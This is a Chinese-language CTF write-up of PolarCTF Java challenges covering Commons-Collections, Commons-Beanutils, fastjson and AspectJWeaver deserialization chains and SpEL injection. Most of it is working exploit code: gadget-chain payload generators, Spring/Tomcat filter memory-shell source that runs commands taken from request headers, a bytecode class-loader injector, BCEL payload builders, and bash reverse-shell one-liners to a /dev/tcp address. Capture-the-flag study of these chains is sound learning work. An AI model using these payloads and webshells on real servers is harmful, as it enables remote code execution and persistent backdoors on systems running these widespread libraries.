前言
做
ez_CC
复现
这道题啥也没有,挺简单的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.polar.ctf.util;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Base64;
public class Tools { public static byte[] base64Decode(String base64) { Base64.Decoder decoder = Base64.getDecoder(); return decoder.decode(base64); }
public static String base64Encode(byte[] bytes) { Base64.Encoder encoder = Base64.getEncoder(); return encoder.encodeToString(bytes); }
public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); } public static Object deserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); } }
|
直接反序列化,没有WAF
有依赖
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
|
之前打的是3.2.1,本地试一下能不能通即可
POC1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| package com.example; import com.example.util.Tool; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class CC11 { public static void main(String args[]) throws Exception{ TemplatesImpl templates=gadget();
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer").getDeclaredConstructor(String.class); cons.setAccessible(true); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer");
Map map = new HashMap(); Map Lmap= LazyMap.decorate(map,invokerTransformer); TiedMapEntry TM=new TiedMapEntry(Lmap,templates); HashSet hs=new HashSet(1); hs.add("any");
Field hsset = HashSet.class.getDeclaredField("map"); hsset.setAccessible(true); HashMap hsmap=(HashMap) hsset.get(hs);
Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); Object[] tablearray = (Object[])table.get(hsmap); Object node = tablearray[0]; for(int i=0;i<tablearray.length;i++){ if(tablearray[i]==null){ continue; } node = tablearray[i]; break; } Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node,TM);
byte[] byt=Tool.serialize(hs); String asd=Tool.base64Encode(byt); String urlEncodedPayload = java.net.URLEncoder.encode(asd, "UTF-8"); System.out.println(urlEncodedPayload);
} public static TemplatesImpl gadget() throws Exception{ CtClass clazz = ClassPool.getDefault().get(com.example.Exp.payload.class.getName()); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sh_eePppp"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()}); return templates; }
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field fieldName = clazz.getDeclaredField(field); fieldName.setAccessible(true); fieldName.set(obj, value); System.out.println("Field set on class: " + clazz.getName() + " (loader=" + clazz.getClassLoader() + ")"); }
}
|
打完本地通了,确实可以反弹shell
但是远程不出网,只能打内存马
这边用infernity师傅的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Memshell extends AbstractTranslet { static { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Infernity")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Infernity")}; byte[] result = new byte[0]; try { result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().write(new String(result)); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().flush(); } catch (IOException e) { throw new RuntimeException(e); } try { httpresponse.getWriter().close(); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>5.3.18</version> <scope>provided</scope> </dependency>
<dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency>
<dependency> <groupId>xalan</groupId> <artifactId>xalan</artifactId> <version>2.7.2</version> </dependency> </dependencies>
|
成功拿到flag~
flag{cf5fa591bc52e50f25b6269e8d690c13}
如果做题的话填代码就行了,不过理解原理更有助于学习
ezjava
考察spel表达式注入
这里没什么WAF直接T(java.lang.Runtime).getRuntime().exec('whoami')
无回显
一般的反弹shell
1 2
| bash -c {echo,xxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i} bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.10/9001 0>&1
|
但是这道题不出网,由于明确了flag路径:/app/flag.txt
有某种方式可以直接读文件
1
| new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","ls"}).start().getInputStream(), "gbk")).readLine()
|
该payload可以回显命令执行的第一行内容,可用于直接读取flag
flag{bfff6d206cbcd6ac0870a4f48c7c313b}
可参考:
https://blog.csdn.net/2301_80115097/article/details/134014498
https://xz.aliyun.com/news/8744
CB链
我翻翻之前咋学CB的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.example.Evil.class.getName()); TemplatesImpl templates=new TemplatesImpl(); setFieldValue(templates,"_name","xxxx"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); setFieldValue(templates,"_bytecodes",new byte[][]{clazz.toBytecode()}); BeanComparator comparator = new BeanComparator(); PriorityQueue priorityQueue=new PriorityQueue<>(comparator); priorityQueue.add(1); priorityQueue.add(1); setFieldValue(comparator,"property","outputProperties"); setFieldValue(priorityQueue,"queue",new Object[]{templates,1}); serilize(priorityQueue); unserilize("1.bin");
|
瞄一眼之后转战源码
Build-Jdk-Spec: 1.8java8
依赖

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package org.example.controller;
import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import org.example.User; import org.example.tools.Tools; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
@Controller public class IndexController { @RequestMapping({"/"}) @ResponseBody public String index(HttpServletRequest request) { String ipAddress = request.getHeader("X-Forwarded-For"); if (ipAddress == null) { ipAddress = request.getRemoteAddr(); }
return "Welcome PolarCTF~ <br>Client IP Address: " + ipAddress; }
@RequestMapping({"/user"}) @ResponseBody public String getUser(String user) throws Exception { byte[] userBytes = Tools.base64Decode(user); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes)); User userObj = (User)in.readObject(); return userObj.getUserNicename(); } }
|
这里是打啥?是不是可以直接打CC链了,我试一下
本地起一下服务丢给AI打一下ezCC的链子,看看报错
根据报错:**TemplatesImpl.newTransformer() 方法内部访问被拒绝**
似乎不能直接调用该方法,目前两种路径,一种打TrAXFilter.class,另一种打CB链
CC3
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; TemplatesImpl templates = gadget(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "test"); lazyMap.remove("key");
Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, chainedTransformer);
|
CC3的特征就是
未使用invokeTransformer类而是=>TrAXFilter.class&InstantiateTransformer
这里失败了=>”TrAXFilter 类在环境中不存在,这是Xalan相关的类。”
CB链
exp
1 2 3 4 5 6 7
| TemplatesImpl templates=gadget(); BeanComparator comparator = new BeanComparator(); PriorityQueue priorityQueue=new PriorityQueue<>(comparator); priorityQueue.add(1); priorityQueue.add(1); setFieldValue(comparator,"property","outputProperties"); setFieldValue(priorityQueue,"queue",new Object[]{templates,1});
|
这是CB+CC依赖的版本,也有不依赖CC的纯CB版本
不展示了
本地测试payload成功,但是远程不出网(polar的题都不出网吧)
试试内存马
本地测试存在以下报错分析
1 2 3 4 5 6
| 关键问题:RequestContextHolder 为空
// 在反序列化环境中,Spring的RequestContextHolder没有绑定当前请求 org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); // 这里 requestAttributes 为 null,导致后续的NPE
|
这里我们学习一下infernity的手法,不是直接加载内存马,而是类加载器动态加载字节码:MyClassLoader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.util.Base64;
public class MyClassLoader extends AbstractTranslet { static{ try{ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request"); r.setAccessible(true); org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse(); javax.servlet.http.HttpSession session = request.getSession(); String classData=request.getParameter("classData"); System.out.println("classData:"+classData); byte[] classBytes = Base64.getDecoder().decode(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length); cc.newInstance().equals(new Object[]{request,response,session}); }catch(Exception e){ e.printStackTrace(); } } public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException { } public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
} }
|
加载以下的内存马(base64后)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| import javax.servlet.*; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.stream.Collectors;
public class Memshell implements javax.servlet.Filter{ private javax.servlet.http.HttpServletRequest request = null; private org.apache.catalina.connector.Response response = null; private javax.servlet.http.HttpSession session =null;
@Override public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() {} @Override public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException { javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1; javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1; javax.servlet.http.HttpSession session = request.getSession(); String cmd = request.getHeader("cmd"); System.out.println(cmd); if (cmd != null) {
response.setHeader("START", "OK"); Process process = new ProcessBuilder(cmd.split("\\s+")) .redirectErrorStream(true) .start();
InputStream inputStream = process.getInputStream();
String result = new BufferedReader(new InputStreamReader(inputStream)) .lines() .collect(Collectors.joining(System.lineSeparator())); System.out.println("3"); response.setHeader("RESULT",result);
} else { filterChain.doFilter(request, response); } }
public boolean equals(Object obj) { Object[] context=(Object[]) obj; this.session = (javax.servlet.http.HttpSession ) context[2]; this.response = (org.apache.catalina.connector.Response) context[1]; this.request = (javax.servlet.http.HttpServletRequest) context[0];
try { dynamicAddFilter(new Memshell(),"Shell","/*",request); } catch (IllegalAccessException e) { e.printStackTrace(); }
return true; }
public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException { javax.servlet.ServletContext servletContext=request.getServletContext(); if (servletContext.getFilterRegistration(name) == null) { java.lang.reflect.Field contextField = null; org.apache.catalina.core.ApplicationContext applicationContext =null; org.apache.catalina.core.StandardContext standardContext=null; java.lang.reflect.Field stateField=null; javax.servlet.FilterRegistration.Dynamic filterRegistration =null;
try { contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); filterRegistration = servletContext.addFilter(name, filter); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url}); java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); }catch (Exception e){ }finally { stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } } } }
|
这里用工具获取字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| CtClass clazz = ClassPool.getDefault().get(com.example.Exp.webshell_0.class.getName()); byte[] bytecode = clazz.toBytecode(); String asd= Tool.base64Encode(bytecode); String urlEncodedPayload = java.net.URLEncoder.encode(asd, "UTF-8"); System.out.println(urlEncodedPayload); String filePath = "webshell";
try (FileWriter writer = new FileWriter(filePath)) { writer.write(urlEncodedPayload); System.out.println("文件写入成功"); } catch (IOException e) { e.printStackTrace(); }
|
发包,成功内存马
很cool~

感受
java题本地调试很关键,环境总会在你payload反序列化的哪一步卡你一下,不本地看报错只能远程挠头了
fastjson
我们也系统学习过fastjson的反序列化,里面又细分出一条原生链子,具体看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package org.polarctf;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody;
@Controller public class JsonController { @RequestMapping( value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"} ) @ResponseBody public Object getUser() { User user = new User(); user.setName("Polar D&N ~!"); user.setId("2022"); return user; }
@RequestMapping( value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"} ) @ResponseBody public Object setUser(@RequestBody String jsonString) { System.out.println(jsonString); JSONObject jsonObject = JSON.parseObject(jsonString, new Feature[]{Feature.SupportNonPublicField}); User user = (User)jsonObject.toJavaObject(User.class); user.setId("2023"); return user; } }
|
显然不是原生反序列化
目前记得有三种方法
先试一下
1 2 3 4 5 6 7
| String jsonInput = "{\n" + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + " \"_bytecodes\": [\"asdas\"],\n" + " \"_name\": \"sheep\",\n" + " \"_tfactory\": {},\n" + " \"_outputProperties\": {}\n" + "}";
|
字节码的话就原来哪些即可
注意别url编码了,上传即可

本地显示直接无法调用TemplateImpl,应该是版本问题
另外两种打法一种是RMI,一种是BCEL,后续也会碰到
ezJson
这里看源码,依旧是fastjson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
|
package com.polar.ctf.controller;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import java.util.Base64; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
@Controller public class ReadController { @ResponseBody @RequestMapping({"/read"}) public String getUser(String data) throws Exception { if (data == null) { throw new IllegalArgumentException("Data cannot be null"); } else { byte[] b = Base64.getDecoder().decode(data); if (b == null) { throw new IllegalArgumentException("Decoded data cannot be null"); } else { InputStream inputStream = new ByteArrayInputStream(b); if (inputStream == null) { throw new IllegalArgumentException("Input stream cannot be null"); } else { ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); Object obj = objectInputStream.readObject(); JSONArray dataArray = new JSONArray(); JSONObject item = new JSONObject(); item.put("code", 200); item.put("status", "success"); item.put("obj", JSON.toJSONString(obj)); dataArray.add(item); return dataArray.toJSONString(); } } } } }
|
这里是直接反序列化的,且依赖为
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| CtClass clazz = ClassPool.getDefault().get(com.example.Evil.class.getName()); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes",new byte[][]{clazz.toBytecode()}); setFieldValue(templates, "_name", "y4tacker"); setFieldValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null); setFieldValue(exception, "val", jsonArray);
HashMap map = new HashMap(); map.put(templates, exception);
|
详细可见原生fastjson反序列化
到了这里可以生成payload,如法炮制

FastJsonBCEL
有
1 2 3 4 5 6
| public class JsonController { @PostMapping({"/parse"}) public Object parseJson(@RequestBody String jsonString) { return JSONObject.parse(jsonString); } }
|
JSONObject.parse和JSON.parseObject一样
存在fastjson反序列化漏洞
看了看依赖,是1.2.24,并没有问题,难道还是照旧?
试了试原来的payload,TemplateImpl没有成功加载进去,既然提示了BCEL,就打这个吧
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency>
|
源码中刚好有这个依赖,正好可以打,可见fastjson反序列化
1 2 3 4 5 6 7
| public static void main(String[] args)throws Exception{ CtClass clazz = ClassPool.getDefault().get(com.example.Exp.webshell_2.class.getName()); byte[] bytecode = clazz.toBytecode();
String code = Utility.encode(bytecode,true); System.out.println("$$BCEL$$"+code);
|
这里生成一下内存马要求的字节码,原字节码没用,这里用师傅的payload再生成了一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import java.lang.reflect.Method; import java.util.Scanner;
public class shell { static { try { Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Method v1 = v0.getMethod("getRequestAttributes"); Object v2 = v1.invoke(null); v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); v1 = v0.getMethod("getResponse"); Method v3 = v0.getMethod("getRequest"); Object v4 = v1.invoke(v2); Object v5 = v3.invoke(v2); Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); v7.setAccessible(true); v6.setAccessible(true); Object v8 = v6.invoke(v4); String v9 = (String) v7.invoke(v5,"Infernity"); String[] v10 = new String[3]; if (System.getProperty("os.name").toUpperCase().contains("WIN")){ v10[0] = "cmd"; v10[1] = "/c"; }else { v10[0] = "/bin/sh"; v10[1] = "-c"; } v10[2] = v9; v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next()); v8.getClass().getDeclaredMethod("flush").invoke(v8); v8.getClass().getDeclaredMethod("clone").invoke(v8); } catch (Exception var11) { var11.getStackTrace(); } } }
|

比较了一下,发现最初的内存马兼容性很差,基本需要完整Spring环境
一写一个不吱声
拿到源码,发现依赖aspectjweaver
发现漏洞https://xz.aliyun.com/news/10945
利用AspectJWeaver通过反序列化来进行任意文件写入
简单写各demo调试一下
1 2 3 4 5
| <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.9.2</version> </dependency>
|
关键点在于SimpleCache$StoreableCachingMap:
跟进它的put方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public Object put(Object key, Object value) { try { String path = null; byte[] valueBytes = (byte[])value; if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) { path = "IDEM"; } else { path = this.writeToPath((String)key, valueBytes); }
Object result = super.put(key, path); this.storeMap(); return result; } catch (IOException e) { this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), e); Dump.dumpWithException(e); return null; } }
|
这里存在任意文件写入
又知这个类继承于hashmao,实则CC链中触发HashMap的put方法,如CC5、CC6皆可
即,存在任意文件写入的漏洞
CC链中通过TiedMapEntry.getValue()触发来LazyMap.get()
看看POC,学习如何传入路径和文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class); con.setAccessible(true);
HashMap map = (HashMap)con.newInstance("./", 1);
ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
Map outmap = LazyMap.decorate(map,transform);
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); Tool.deserialize(Tool.serialize(tiedmap));
|
如果没有CC依赖,我们又如何来触发该类的put方法呢?
针对这道题来讲,虽说没有CC依赖,但是它提供了一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); HashMap<String, byte[]> a = (HashMap)gf.get("obj", (Object)null); String name = (String)gf.get("name", (Object)null); String age = (String)gf.get("age", (Object)null); if (a == null) { this.obj = null; } else { try { a.put(name, Tools.base64Decode(age)); } catch (Exception var7) { var7.printStackTrace(); } } }
|
提供了这么一个类,那直接手搓吧()
这边记得把jar包里classes目录导入为依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.example.Test; import com.example.util.Tool; import com.polar.ctf.bean.UserBean;
import java.lang.reflect.Constructor; import java.nio.charset.StandardCharsets; import java.util.HashMap;
public class Try { public static void main(String [] args)throws Exception{ System.out.println("try"); String string123="hello world"; byte[] aaa=string123.getBytes(StandardCharsets.UTF_8); String base64= Tool.base64Encode(aaa); Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class); con.setAccessible(true); HashMap zxc = (HashMap)con.newInstance("./", 1); UserBean userBean=new UserBean("Sh_eePppp",base64,zxc); Tool.deserialize(Tool.serialize(userBean)); } }
|
成功传入Sh_eePppp文件
现在思考,传入文件如何拿到shell呢? 你也许需要知道$JAVA_HOME? Java反序列化漏洞+特殊情况下的springboot任意文件写rce 出题人的博客https://p0lar1ght.github.io/posts/PolarD&N_CTF_%E4%B8%80%E5%86%99%E4%B8%80%E4%B8%AA%E4%B8%8D%E5%90%B1%E5%A3%B0/
其实挺有意思的,但是没打成功